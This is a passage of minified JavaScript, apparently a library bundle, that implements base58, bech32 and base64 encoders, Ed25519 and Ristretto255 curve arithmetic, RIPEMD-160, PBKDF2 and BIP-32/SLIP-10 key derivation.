yi=ti(hi(4),ei("0123456789ABCDEF"),ri("")),gi=ti(hi(5),ei("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"),ii(5),ri("")),wi=(ti(hi(5),ei("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"),ri("")),ti(hi(5),ei("0123456789ABCDEFGHIJKLMNOPQRSTUV"),ii(5),ri("")),ti(hi(5),ei("0123456789ABCDEFGHIJKLMNOPQRSTUV"),ri("")),ti(hi(5),ei("0123456789ABCDEFGHJKMNPQRSTVWXYZ"),ri(""),oi(n=>n.toUpperCase().replace(/O/g,"0").replace(/[IL]/g,"1"))),"function"==typeof Uint8Array.from([]).toBase64&&"function"==typeof Uint8Array.fromBase64),bi=(n,t)=>{Yr("base64",n);const e=t?/^[A-Za-z0-9=_-]+$/:/^[A-Za-z0-9=+/]+$/,r=t?"base64url":"base64";if(n.length>0&&!e.test(n))throw new Error("invalid base64");return Uint8Array.fromBase64(n,{alphabet:r,lastChunkHandling:"strict"})},mi=wi?{encode:n=>(Wr(n),n.toBase64()),decode:n=>bi(n,!1)}:ti(hi(6),ei("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"),ii(6),ri("")),vi=(ti(hi(6),ei("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"),ri("")),wi?{encode:n=>(Wr(n),n.toBase64({alphabet:"base64url"})),decode:n=>bi(n,!0)}:ti(hi(6),ei("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"),ii(6),ri(""))),xi=(ti(hi(6),ei("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"),ri("")),n=>ti(li(58),ei(n),ri(""))),Ei=xi("123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"),Bi=(xi("123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ"),xi("rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz"),[0,2,3,5,6,7,9,10,11]),_i={encode(n){let t="";for(let e=0;e<n.length;e+=8){const r=n.subarray(e,e+8);t+=Ei.encode(r).padStart(Bi[r.length],"1")}return t},decode(n){let t=[];for(let e=0;e<n.length;e+=11){const r=n.slice(e,e+11),i=Bi.indexOf(r.length),o=Ei.decode(r);for(let n=0;n<o.length-i;n++)if(0!==o[n])throw new Error("base58xmr: wrong padding");t=t.concat(Array.from(o.slice(o.length-i)))}return Uint8Array.from(t)}},Ai=n=>ti(pi(4,t=>n(n(t))),Ei),Ii=ti(ei("qpzry9x8gf2tvdw0s3jn54khce6mua7l"),ri("")),ki=[996825010,642813549,513874426,1027748829,705979059];function Ui(n){const t=n>>25;let e=(33554431&n)<<5;for(let n=0;n<ki.length;n++)1==(t>>n&1)&&(e^=ki[n]);return e}function Si(n,t,e=1){const r=n.length;let i=1;for(let t=0;t<r;t++){const e=n.charCodeAt(t);if(e<33||e>126)throw new Error(`Invalid prefix (${n})`);i=Ui(i)^e>>5}i=Ui(i);for(let t=0;t<r;t++)i=Ui(i)^31&n.charCodeAt(t);for(let n of t)i=Ui(i)^n;for(let n=0;n<6;n++)i=Ui(i);return i^=e,Ii.encode(fi([i%ci[30]],30,5,!1))}function Li(n){const t="bech32"===n?1:734539939,e=hi(5),r=e.decode,i=e.encode,o=di(r);function a(n,e,r=90){Yr("bech32.encode prefix",n),qr(e)&&(e=Array.from(e)),ni("bech32.encode",e);const i=n.length;if(0===i)throw new TypeError(`Invalid prefix length ${i}`);const o=i+7+e.length;if(!1!==r&&o>r)throw new TypeError(`Length ${o} exceeds limit ${r}`);const a=n.toLowerCase(),s=Si(a,e,t);return`${a}1${Ii.encode(e)}${s}`}function s(n,e=90){Yr("bech32.decode input",n);const r=n.length;if(r<8||!1!==e&&r>e)throw new TypeError(`invalid string length: ${r} (${n}). Expected (8..${e})`);const i=n.toLowerCase();if(n!==i&&n!==n.toUpperCase())throw new Error("String must be lowercase or uppercase");const o=i.lastIndexOf("1");if(0===o||-1===o)throw new Error('Letter "1" must be present between prefix and data only');const a=i.slice(0,o),s=i.slice(o+1);if(s.length<6)throw new Error("Data must be at least 6 characters long");const u=Ii.decode(s).slice(0,-6),c=Si(a,u,t);if(!s.endsWith(c))throw new Error(`Invalid checksum in ${n}: expected "${c}"`);return{prefix:a,words:u}}return{encode:a,decode:s,encodeFromBytes:function(n,t){return a(n,i(t))},decodeToBytes:function(n){const{prefix:t,words:e}=s(n,!1);return{prefix:t,words:e,bytes:r(e)}},decodeUnsafe:di(s),fromWords:r,fromWordsUnsafe:o,toWords:i}}Li("bech32"),Li("bech32m");const Oi={encode:n=>(new TextDecoder).decode(n),decode:n=>(new TextEncoder).encode(n)},Ci=("function"==typeof Uint8Array.from([]).toHex&&"function"==typeof Uint8Array.fromHex||ti(hi(4),ei("0123456789abcdef"),ri(""),oi(n=>{if("string"!=typeof n||n.length%2!=0)throw new TypeError(`hex.decode: expected string, got ${typeof n} with length ${n.length}`);return n.toLowerCase()})),BigInt(0)),Ki=BigInt(1),Ri=BigInt(2),Ti=BigInt(8);class Fi{constructor(n){this.ep=n}static fromBytes(n){Le()}static fromHex(n){Le()}get x(){return this.toAffine().x}get y(){return this.toAffine().y}clearCofactor(){return this}assertValidity(){this.ep.assertValidity()}toAffine(n){return this.ep.toAffine(n)}toHex(){return Nn(this.toBytes())}toString(){return this.toHex()}isTorsionFree(){return!0}isSmallOrder(){return!1}add(n){return this.assertSame(n),this.init(this.ep.add(n.ep))}subtract(n){return this.assertSame(n),this.init(this.ep.subtract(n.ep))}multiply(n){return this.init(this.ep.multiply(n))}multiplyUnsafe(n){return this.init(this.ep.multiplyUnsafe(n))}double(){return this.init(this.ep.double())}negate(){return this.init(this.ep.negate())}precompute(n,t){return this.init(this.ep.precompute(n,t))}toRawBytes(){return this.toBytes()}}function Pi(n,t,e={}){if("function"!=typeof t)throw new Error('"hash" function param is required');Se(e,{},{adjustScalarBytes:"function",randomBytes:"function",domain:"function",prehash:"function",mapToCurve:"function"});const{prehash:r}=e,{BASE:i,Fp:o,Fn:a}=n,s=e.randomBytes||it,u=e.adjustScalarBytes||(n=>n),c=e.domain||((n,t,e)=>{if(ye(e,"phflag"),t.length||e)throw new Error("Contexts/pre-hash are not supported");return n});function f(n){return a.create(ve(n))}function l(n){const{head:e,prefix:r,scalar:o}=function(n){const e=g.secretKey;n=Be("private key",n,e);const r=Be("hashed private key",t(n),2*e),i=u(r.slice(0,e));return{head:i,prefix:r.slice(e,2*e),scalar:f(i)}}(n),a=i.multiply(o),s=a.toBytes();return{head:e,prefix:r,scalar:o,point:a,pointBytes:s}}function h(n){return l(n).pointBytes}function d(n=Uint8Array.of(),...e){const i=tt(...e);return f(t(c(i,Be("context",n),!!r)))}const p={zip215:!0};const y=o.BYTES,g={secretKey:y,publicKey:y,signature:2*y,seed:y};function w(n=s(g.seed)){return ge(n,g.seed,"seed")}const b={getExtendedPublicKey:l,randomSecretKey:w,isValidSecretKey:function(n){return In(n)&&n.length===a.BYTES},isValidPublicKey:function(t,e){try{return!!n.fromBytes(t,e)}catch(n){return!1}},toMontgomery(t){const{y:e}=n.fromBytes(t),r=g.publicKey,i=32===r;if(!i&&57!==r)throw new Error("only defined for 25519 and 448");const a=i?o.div(Ki+e,Ki-e):o.div(e-Ki,e+Ki);return o.toBytes(a)},toMontgomerySecret(n){const e=g.secretKey;ge(n,e);const r=t(n.subarray(0,e));return u(r).subarray(0,e)},randomPrivateKey:w,precompute:(t=8,e=n.BASE)=>e.precompute(t,!1)};return Object.freeze({keygen:function(n){const t=b.randomSecretKey(n);return{secretKey:t,publicKey:h(t)}},getPublicKey:h,sign:function(n,t,e={}){n=Be("message",n),r&&(n=r(n));const{prefix:o,scalar:s,pointBytes:u}=l(t),c=d(e.context,o,n),f=i.multiply(c).toBytes(),h=d(e.context,f,u,n),p=a.create(c+h*s);if(!a.isValid(p))throw new Error("sign failed: invalid s");return ge(tt(f,a.toBytes(p)),g.signature,"result")},verify:function(t,e,o,a=p){const{context:s,zip215:u}=a,c=g.signature;t=Be("signature",t,c),e=Be("message",e),o=Be("publicKey",o,g.publicKey),void 0!==u&&ye(u,"zip215"),r&&(e=r(e));const f=c/2,l=t.subarray(0,f),h=ve(t.subarray(f,c));let y,w,b;try{y=n.fromBytes(o,u),w=n.fromBytes(l,u),b=i.multiplyUnsafe(h)}catch(n){return!1}if(!u&&y.isSmallOrder())return!1;const m=d(s,w.toBytes(),y.toBytes(),e);return w.add(y.multiplyUnsafe(m)).subtract(b).clearCofactor().is0()},utils:b,Point:n,lengths:g})}function ji(n){const{CURVE:t,curveOpts:e,hash:r,eddsaOpts:i}=function(n){const t={a:n.a,d:n.d,p:n.Fp.ORDER,n:n.n,h:n.h,Gx:n.Gx,Gy:n.Gy},e={Fp:n.Fp,Fn:er(t.n,n.nBitLength,!0),uvRatio:n.uvRatio},r={randomBytes:n.randomBytes,adjustScalarBytes:n.adjustScalarBytes,domain:n.domain,prehash:n.prehash,mapToCurve:n.mapToCurve};return{CURVE:t,curveOpts:e,hash:n.hash,eddsaOpts:r}}(n),o=function(n,t={}){const e=xr("edwards",n,t,t.FpFnLE),{Fp:r,Fn:i}=e;let o=e.CURVE;const{h:a}=o;Se(t,{},{uvRatio:"function"});const s=Ri<<BigInt(8*i.BYTES)-Ki,u=n=>r.create(n),c=t.uvRatio||((n,t)=>{try{return{isValid:!0,value:r.sqrt(r.div(n,t))}}catch(n){return{isValid:!1,value:Ci}}});if(!function(n,t,e,r){const i=n.sqr(e),o=n.sqr(r),a=n.add(n.mul(t.a,i),o),s=n.add(n.ONE,n.mul(t.d,n.mul(i,o)));return n.eql(a,s)}(r,o,o.Gx,o.Gy))throw new Error("bad curve params: generator point");function f(n,t,e=!1){return Ie("coordinate "+n,t,e?Ki:Ci,s),t}function l(n){if(!(n instanceof p))throw new Error("ExtendedPoint expected")}const h=Oe((n,t)=>{const{X:e,Y:i,Z:o}=n,a=n.is0();null==t&&(t=a?Ti:r.inv(o));const s=u(e*t),c=u(i*t),f=r.mul(o,t);if(a)return{x:Ci,y:Ki};if(f!==Ki)throw new Error("invZ was invalid");return{x:s,y:c}}),d=Oe(n=>{const{a:t,d:e}=o;if(n.is0())throw new Error("bad point: ZERO");const{X:r,Y:i,Z:a,T:s}=n,c=u(r*r),f=u(i*i),l=u(a*a),h=u(l*l),d=u(c*t);if(u(l*u(d+f))!==u(h+u(e*u(c*f))))throw new Error("bad point: equation left != right (1)");if(u(r*i)!==u(a*s))throw new Error("bad point: equation left != right (2)");return!0});class p{constructor(n,t,e,r){this.X=f("x",n),this.Y=f("y",t),this.Z=f("z",e,!0),this.T=f("t",r),Object.freeze(this)}static CURVE(){return o}static fromAffine(n){if(n instanceof p)throw new Error("extended point not allowed");const{x:t,y:e}=n||{};return f("x",t),f("y",e),new p(t,e,Ki,u(t*e))}static fromBytes(n,t=!1){const e=r.BYTES,{a:i,d:a}=o;n=_e(ge(n,e,"point")),ye(t,"zip215");const f=_e(n),l=n[e-1];f[e-1]=-129&l;const h=ve(f),d=t?s:r.ORDER;Ie("point.y",h,Ci,d);const y=u(h*h),g=u(y-Ki),w=u(a*y-i);let{isValid:b,value:m}=c(g,w);if(!b)throw new Error("bad point: invalid y coordinate");const v=(m&Ki)===Ki,x=!!(128&l);if(!t&&m===Ci&&x)throw new Error("bad point: x=0 and x_0=1");return x!==v&&(m=u(-m)),p.fromAffine({x:m,y:h})}static fromHex(n,t=!1){return p.fromBytes(Be("point",n),t)}get x(){return this.toAffine().x}get y(){return this.toAffine().y}precompute(n=8,t=!0){return y.createCache(this,n),t||this.multiply(Ri),this}assertValidity(){d(this)}equals(n){l(n);const{X:t,Y:e,Z:r}=this,{X:i,Y:o,Z:a}=n,s=u(t*a),c=u(i*r),f=u(e*a),h=u(o*r);return s===c&&f===h}is0(){return this.equals(p.ZERO)}negate(){return new p(u(-this.X),this.Y,this.Z,u(-this.T))}double(){const{a:n}=o,{X:t,Y:e,Z:r}=this,i=u(t*t),a=u(e*e),s=u(Ri*u(r*r)),c=u(n*i),f=t+e,l=u(u(f*f)-i-a),h=c+a,d=h-s,y=c-a,g=u(l*d),w=u(h*y),b=u(l*y),m=u(d*h);return new p(g,w,m,b)}add(n){l(n);const{a:t,d:e}=o,{X:r,Y:i,Z:a,T:s}=this,{X:c,Y:f,Z:h,T:d}=n,y=u(r*c),g=u(i*f),w=u(s*e*d),b=u(a*h),m=u((r+i)*(c+f)-y-g),v=b-w,x=b+w,E=u(g-t*y),B=u(m*v),_=u(x*E),A=u(m*E),I=u(v*x);return new p(B,_,I,A)}subtract(n){return this.add(n.negate())}multiply(n){if(!i.isValidNot0(n))throw new Error("invalid scalar: expected 1 <= sc < curve.n");const{p:t,f:e}=y.cached(this,n,n=>ur(p,n));return ur(p,[t,e])[0]}multiplyUnsafe(n,t=p.ZERO){if(!i.isValid(n))throw new Error("invalid scalar: expected 0 <= sc < curve.n");return n===Ci?p.ZERO:this.is0()||n===Ki?this:y.unsafe(this,n,n=>ur(p,n),t)}isSmallOrder(){return this.multiplyUnsafe(a).is0()}isTorsionFree(){return y.unsafe(this,o.n).is0()}toAffine(n){return h(this,n)}clearCofactor(){return a===Ki?this:this.multiplyUnsafe(a)}toBytes(){const{x:n,y:t}=this.toAffine(),e=r.toBytes(t);return e[e.length-1]|=n&Ki?128:0,e}toHex(){return Nn(this.toBytes())}toString(){return`<Point ${this.is0()?"ZERO":this.toHex()}>`}get ex(){return this.X}get ey(){return this.Y}get ez(){return this.Z}get et(){return this.T}static normalizeZ(n){return ur(p,n)}static msm(n,t){return mr(p,i,n,t)}_setWindowSize(n){this.precompute(n)}toRawBytes(){return this.toBytes()}}p.BASE=new p(o.Gx,o.Gy,Ki,u(o.Gx*o.Gy)),p.ZERO=new p(Ci,Ki,Ki,Ci),p.Fp=r,p.Fn=i;const y=new br(p,i.BITS);return p.BASE.precompute(8),p}(t,e);return function(n,t){const e=t.Point;return Object.assign({},t,{ExtendedPoint:e,CURVE:n,nBitLength:e.Fn.BITS,nByteLength:e.Fn.BYTES})}(n,Pi(o,r,i))}Jn("HashToScalar-");const Hi=BigInt(0),$i=BigInt(1),Ni=BigInt(2),Di=(BigInt(3),BigInt(5)),zi=BigInt(8),Mi=BigInt("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffed"),Vi={p:Mi,n:BigInt("0x1000000000000000000000000000000014def9dea2f79cd65812631a5cf5d3ed"),h:zi,a:BigInt("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffec"),d:BigInt("0x52036cee2b6ffe738cc740797779e89800700a4d4141d8ab75eb4dca135978a3"),Gx:BigInt("0x216936d3cd6e53fec0a4e231fdd6dc5c692cc7609525a7b2c9562d608f25d51a"),Gy:BigInt("0x6666666666666666666666666666666666666666666666666666666666666658")};function qi(n){const t=BigInt(10),e=BigInt(20),r=BigInt(40),i=BigInt(80),o=Mi,a=n*n%o*n%o,s=ze(a,Ni,o)*a%o,u=ze(s,$i,o)*n%o,c=ze(u,Di,o)*u%o,f=ze(c,t,o)*c%o,l=ze(f,e,o)*f%o,h=ze(l,r,o)*l%o,d=ze(h,i,o)*h%o,p=ze(d,i,o)*h%o,y=ze(p,t,o)*c%o;return{pow_p_5_8:ze(y,Ni,o)*n%o,b2:a}}function Wi(n){return n[0]&=248,n[31]&=127,n[31]|=64,n}const Gi=BigInt("19681161376707505956807079304988542015446066515923890162744021073123829784752");function Zi(n,t){const e=Mi,r=De(t*t*t,e),i=De(r*r*t,e);let o=De(n*r*qi(n*i).pow_p_5_8,e);const a=De(t*o*o,e),s=o,u=De(o*Gi,e),c=a===n,f=a===De(-n,e),l=a===De(-n*Gi,e);return c&&(o=s),(f||l)&&(o=u),Ye(o,e)&&(o=De(-o,e)),{isValid:c||f,value:o}}const Yi=er(Vi.p,{isLE:!0}),Xi=er(Vi.n,{isLE:!0}),Ji={...Vi,Fp:Yi,hash:fe,adjustScalarBytes:Wi,uvRatio:Zi},Qi=ji(Ji);const no=Gi,to=BigInt("25063068953384623474111414158702152701244531502492656460079210482610430750235"),eo=BigInt("54469307008909316920995813868745141605393597292927456921205312896311721017578"),ro=BigInt("1159843021668779879193775521855586647937357759715417654439879720876111806838"),io=BigInt("40440834346308536858101042469323190826248399146238708352240133220865137265952"),oo=n=>Zi($i,n),ao=BigInt("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"),so=n=>Qi.Point.Fp.create(ve(n)&ao);function uo(n){const{d:t}=Vi,e=Mi,r=n=>Yi.create(n),i=r(no*n*n),o=r((i+$i)*ro);let a=BigInt(-1);const s=r((a-t*i)*r(i+t));let{isValid:u,value:c}=Zi(o,s),f=r(c*n);Ye(f,e)||(f=r(-f)),u||(c=f),u||(a=i);const l=r(a*(i-$i)*io-s),h=c*c,d=r((c+c)*s),p=r(l*to),y=r($i-h),g=r($i+h);return new Qi.Point(r(d*g),r(y*p),r(p*g),r(d*y))}function co(n){Un(n,64);const t=uo(so(n.subarray(0,32))),e=uo(so(n.subarray(32,64)));return new fo(t.add(e))}class fo extends Fi{constructor(n){super(n)}static fromAffine(n){return new fo(Qi.Point.fromAffine(n))}assertSame(n){if(!(n instanceof fo))throw new Error("RistrettoPoint expected")}init(n){return new fo(n)}static hashToCurve(n){return co(Be("ristrettoHash",n,64))}static fromBytes(n){Un(n,32);const{a:t,d:e}=Vi,r=Mi,i=n=>Yi.create(n),o=so(n);if(!function(n,t){if(n.length!==t.length)return!1;let e=0;for(let r=0;r<n.length;r++)e|=n[r]^t[r];return 0===e}(Yi.toBytes(o),n)||Ye(o,r))throw new Error("invalid ristretto255 encoding 1");const a=i(o*o),s=i($i+t*a),u=i($i-t*a),c=i(s*s),f=i(u*u),l=i(t*e*c-f),{isValid:h,value:d}=oo(i(l*f)),p=i(d*u),y=i(d*p*l);let g=i((o+o)*p);Ye(g,r)&&(g=i(-g));const w=i(s*y),b=i(g*w);if(!h||Ye(b,r)||w===Hi)throw new Error("invalid ristretto255 encoding 2");return new fo(new Qi.Point(g,w,$i,b))}static fromHex(n){return fo.fromBytes(Be("ristrettoHex",n,32))}static msm(n,t){return mr(fo,Qi.Point.Fn,n,t)}toBytes(){let{X:n,Y:t,Z:e,T:r}=this.ep;const i=Mi,o=n=>Yi.create(n),a=o(o(e+t)*o(e-t)),s=o(n*t),u=o(s*s),{value:c}=oo(o(a*u)),f=o(c*a),l=o(c*s),h=o(f*l*r);let d;if(Ye(r*h,i)){let e=o(t*no),r=o(n*no);n=e,t=r,d=o(f*eo)}else d=l;Ye(n*h,i)&&(t=o(-t));let p=o((e-t)*d);return Ye(p,i)&&(p=o(-p)),Yi.toBytes(p)}equals(n){this.assertSame(n);const{X:t,Y:e}=this.ep,{X:r,Y:i}=n.ep,o=n=>Yi.create(n),a=o(t*i)===o(e*r),s=o(e*i)===o(t*r);return a||s}is0(){return this.equals(fo.ZERO)}}fo.BASE=new fo(Qi.Point.BASE),fo.ZERO=new fo(Qi.Point.ZERO),fo.Fp=Yi,fo.Fn=Xi;const lo=Qi.CURVE,ho="ed25519",po=Vt("ed25519 seed"),yo=n=>!0,go=!1,wo=33,bo=(()=>{let n=!1;return(t,e)=>{n||(Qi.ExtendedPoint.BASE._setWindowSize(4),n=!0);const r=Qi.getPublicKey(t);return Wt([new Uint8Array([0]),r])}})(),mo=(n,t)=>{throw new Error("Ed25519 does not support public key derivation.")},vo=n=>n,xo=n=>n,Eo=32,Bo="slip10",_o=33;const Ao=Qi.CURVE,Io="ed25519Bip32",ko=Vt("");function Uo(n,t){const e=n[t];return T(void 0!==e,"Private key is too short."),e}const So=n=>!(7&Uo(n,0))&&(!(128&Uo(n,31))&&!(64&~Uo(n,31))),Lo=!0,Oo=32,Co=n=>{return Lt(t=Dt(Uint8Array.from(n).reverse())),BigInt(Kt(t));var t},Ko=n=>{const t=De(Co(n),Ao.n);return Qi.ExtendedPoint.BASE.multiply(t).toRawBytes()},Ro=(n,t)=>Ko(n.slice(0,32)),To=(n,t)=>Qi.ExtendedPoint.fromHex(Rt(Dt(n))).add(Qi.ExtendedPoint.fromHex(Rt(Dt(t)))).toRawBytes(),Fo=n=>n,Po=n=>n,jo=64,Ho="cip3",$o=32,No={secp256k1:u,ed25519:n,ed25519Bip32:t};function Do(n){return No[n]}function zo(n,t,e,r){Sn(n);const i=function(n,t){if(void 0!==t&&"[object Object]"!=={}.toString.call(t))throw new Error("options should be object or undefined");return Object.assign(n,t)}({dkLen:32,asyncTick:10},r),{c:o,dkLen:a,asyncTick:s}=i;if(kn(o),kn(a),kn(s),o<1)throw new Error("iterations (c) should be >= 1");const u=nt(t),c=nt(e),f=new Uint8Array(a),l=he.create(n,u),h=l._cloneInto().update(c);return{c:o,dkLen:a,asyncTick:s,DK:f,PRF:l,PRFSalt:h}}function Mo(n,t,e,r,i){return n.destroy(),t.destroy(),r&&r.destroy(),Cn(i),e}const Vo=Uint32Array.from([1732584193,4023233417,2562383102,271733878,3285377520]);new Uint32Array(80);const qo=Math.pow(2,32);Array.from({length:64},(n,t)=>Math.floor(qo*Math.abs(Math.sin(t+1)))),Vo.slice(0,4),new Uint32Array(16);const Wo=Uint8Array.from([7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8]),Go=Uint8Array.from(new Array(16).fill(0).map((n,t)=>t)),Zo=Go.map(n=>(9*n+5)%16),Yo=(()=>{const n=[[Go],[Zo]];for(let t=0;t<4;t++)for(let e of n)e.push(e[t].map(n=>Wo[n]));return n})(),Xo=Yo[0],Jo=Yo[1],Qo=[[11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8],[12,13,11,15,6,9,9,7,12,15,11,13,7,8,7,7],[13,15,14,11,7,7,6,8,13,14,13,12,5,5,6,9],[14,11,12,14,8,6,5,5,15,12,15,14,9,9,8,6],[15,12,13,13,9,5,8,6,14,11,12,11,8,6,5,5]].map(n=>Uint8Array.from(n)),na=Xo.map((n,t)=>n.map(n=>Qo[t][n])),ta=Jo.map((n,t)=>n.map(n=>Qo[t][n])),ea=Uint32Array.from([0,1518500249,1859775393,2400959708,2840853838]),ra=Uint32Array.from([1352829926,1548603684,1836072691,2053994217,0]);function ia(n,t,e,r){return 0===n?t^e^r:1===n?t&e|~t&r:2===n?(t|~e)^r:3===n?t&r|e&~r:t^(e|~r)}const oa=new Uint32Array(16);class aa extends Xt{constructor(){super(64,20,8,!0),this.h0=1732584193,this.h1=-271733879,this.h2=-1732584194,this.h3=271733878,this.h4=-1009589776}get(){const{h0:n,h1:t,h2:e,h3:r,h4:i}=this;return[n,t,e,r,i]}set(n,t,e,r,i){this.h0=0|n,this.h1=0|t,this.h2=0|e,this.h3=0|r,this.h4=0|i}process(n,t){for(let e=0;e<16;e++,t+=4)oa[e]=n.getUint32(t,!0);let e=0|this.h0,r=e,i=0|this.h1,o=i,a=0|this.h2,s=a,u=0|this.h3,c=u,f=0|this.h4,l=f;for(let n=0;n<5;n++){const t=4-n,h=ea[n],d=ra[n],p=Xo[n],y=Jo[n],g=na[n],w=ta[n];for(let t=0;t<16;t++){const r=Tn(e+ia(n,i,a,u)+oa[p[t]]+h,g[t])+f|0;e=f,f=u,u=0|Tn(a,10),a=i,i=r}for(let n=0;n<16;n++){const e=Tn(r+ia(t,o,s,c)+oa[y[n]]+d,w[n])+l|0;r=l,l=c,c=0|Tn(s,10),s=o,o=e}}this.set(this.h1+a+c|0,this.h2+u+l|0,this.h3+f+r|0,this.h4+e+o|0,this.h0+i+s|0)}roundClean(){Cn(oa)}destroy(){this.destroyed=!0,Cn(this.buffer),this.set(0,0,0,0,0)}}const sa=rt(()=>new aa);const ua=ce;const ca=fe;async function fa(n,t,e={}){if(e.hmacSha512)return await e.hmacSha512(n,t);if(Cs()){const e=await crypto.subtle.importKey("raw",n,{name:"HMAC",hash:"SHA-512"},!1,["sign"]),r=await crypto.subtle.sign("HMAC",e,t);return new Uint8Array(r)}return he(ca,n,t)}async function la(n,t,e,r,i={}){if(i.pbkdf2Sha512)return await i.pbkdf2Sha512(n,t,e,r);if(Cs()){const i=await crypto.subtle.importKey("raw",n,{name:"PBKDF2"},!1,["deriveBits"]),o=await crypto.subtle.deriveBits({name:"PBKDF2",salt:t,iterations:e,hash:{name:"SHA-512"}},i,8*r);return new Uint8Array(o)}return await async function(n,t,e,r){const{c:i,dkLen:o,asyncTick:a,DK:s,PRF:u,PRFSalt:c}=zo(n,t,e,r);let f;const l=new Uint8Array(4),h=Kn(l),d=new Uint8Array(u.outputLen);for(let n=1,t=0;t<o;n++,t+=u.outputLen){const e=s.subarray(t,t+u.outputLen);h.setInt32(0,n,!1),(f=c._cloneInto(f)).update(l).digestInto(d),e.set(d.subarray(0,e.length)),await Xn(i-1,a,()=>{u._cloneInto(f).update(d).digestInto(d);for(let n=0;n<e.length;n++)e[n]^=d[n]})}return Mo(u,c,s,f,d)}(ca,n,t,{c:e,dkLen:r})}function ha(n){return ua(n)}const da=Symbol("Public key guard. Do not export this from the module.");async function pa({path:n,node:t,curve:e,network:r},i,o){ma(t);const{childIndex:a,isHardened:s}=va(n,t,e),u={chainCode:t.chainCodeBytes,childIndex:a,isHardened:s,depth:t.depth,parentFingerprint:t.fingerprint,masterFingerprint:t.masterFingerprint,curve:e,network:r};if(t.privateKeyBytes){const n=await ga({privateKey:t.privateKeyBytes,get publicKey(){return t.compressedPublicKeyBytes},childIndex:a,isHardened:s,curve:e}),r=await ba({chainCode:t.chainCodeBytes,extension:n},o);return await ya({privateKey:t.privateKeyBytes,get publicKey(){return t.publicKeyBytes},entropy:r,...u},i,o)}const c=wa({parentPublicKey:t.compressedPublicKeyBytes,childIndex:a}),f=await ba({chainCode:t.chainCodeBytes,extension:c},o);return await ya({publicKey:t.compressedPublicKeyBytes,entropy:f,...u},i,o)}async function ya(n,t,e){const{privateKey:r,publicKey:i,entropy:o,childIndex:a,isHardened:s,depth:u,parentFingerprint:c,masterFingerprint:f,curve:l,network:h}=n;try{return r?await async function({entropy:n,privateKey:t,depth:e,masterFingerprint:r,parentFingerprint:i,childIndex:o,isHardened:a,curve:s,network:u},c){const f=o+(a?V:0),{privateKey:l,chainCode:h}=function({privateKey:n,entropy:t,curve:e}){const r=t.slice(0,32),i=t.slice(32);if("ed25519"===e.name)return{privateKey:r,chainCode:i};const o=function(n,t,e){T(_s(t,32),"Invalid tweak: Tweak must be a non-zero 32-byte Uint8Array.");const r=zt(n),i=zt(t);if(i>=e.curve.n)throw new Error("Invalid tweak: Tweak is larger than the curve order.");const o=De(r+i,e.curve.n),a=Mt(o.toString(16).padStart(64,"0"));if(!e.isValidPrivateKey(a))throw new Error("Invalid private key or tweak: The resulting private key is invalid.");return a}(n,r,e);return{privateKey:o,chainCode:i}}({privateKey:t,entropy:n,curve:s});return await cs.fromExtendedKey({privateKey:l,chainCode:h,depth:e+1,masterFingerprint:r,parentFingerprint:i,index:f,curve:s.name,network:u,guard:da},c)}({entropy:o,privateKey:r,depth:u,masterFingerprint:f,parentFingerprint:c,childIndex:a,isHardened:s,curve:l,network:h},e):await async function({entropy:n,publicKey:t,depth:e,masterFingerprint:r,parentFingerprint:i,childIndex:o,curve:a,network:s},u){const{publicKey:c,chainCode:f}=function({publicKey:n,entropy:t,curve:e}){const r=t.slice(0,32),i=t.slice(32),o=e.publicAdd(n,r);return{publicKey:o,chainCode:i}}({publicKey:t,entropy:n,curve:a});return await cs.fromExtendedKey({publicKey:c,chainCode:f,depth:e+1,masterFingerprint:r,parentFingerprint:i,index:o,curve:a.name,network:s},u)}({entropy:o,publicKey:i,depth:u,masterFingerprint:f,parentFingerprint:c,childIndex:a,curve:l,network:h},e)}catch(r){return await ya(await t(r,n,e),t,e)}}async function ga({privateKey:n,publicKey:t,childIndex:e,isHardened:r,curve:i}){return r?Wt([new Uint8Array([0]),n,Os(e+V)]):(Us(t,i.compressedPublicKeyLength),wa({parentPublicKey:t,childIndex:e}))}function wa({parentPublicKey:n,childIndex:t}){return Wt([n,Os(t)])}async function ba({chainCode:n,extension:t},e){return await fa(n,t,e)}function ma(n){T(n,"Invalid parameters: Must specify a node to derive from.")}function va(n,t,e){!function(n,t,e){T("string"==typeof n,"Invalid path: Must be a string.");const r=n.endsWith("'");T(!r||t.privateKey,"Invalid parameters: Cannot derive hardened child keys without a private key."),T(r||e.deriveUnhardenedKeys,`Invalid path: Cannot derive unhardened child keys with ${e.name}.`)}(n,t,e);const r=n.split("'")[0];T(r);const i=parseInt(r,10);if(!$.test(r)||!Number.isInteger(i)||i<0||i>=V)throw new Error(`Invalid path: The index must be a non-negative decimal integer less than ${V}.`);return{childIndex:i,isHardened:n.includes("'")}}function xa(n){T(n instanceof Uint8Array&&_s(n,P),"Invalid key: The key must be a 32-byte, non-zero Uint8Array.");return Ea($s(n,!1))}function Ea(n){return T(n instanceof Uint8Array&&_s(n,js),"Invalid key: The key must be a 65-byte, non-zero Uint8Array."),(t=n.slice(1),xt(t)).slice(-20);var t}async function Ba(n,t){return T("secp256k1"===n.curve.name,"Invalid curve: Only secp256k1 is supported by BIP-32."),pa(n,_a,t)}async function _a(n,t,e){const{childIndex:r,privateKey:i,publicKey:o,isHardened:a,chainCode:s,curve:u}=t;if(vs(r+1),i){const n=await ga({privateKey:i,publicKey:u.compressPublicKey(o),childIndex:r+1,isHardened:a,curve:u}),c=await ba({chainCode:s,extension:n},e);return{...t,childIndex:r+1,entropy:c}}const c=wa({parentPublicKey:o,childIndex:r+1}),f=await 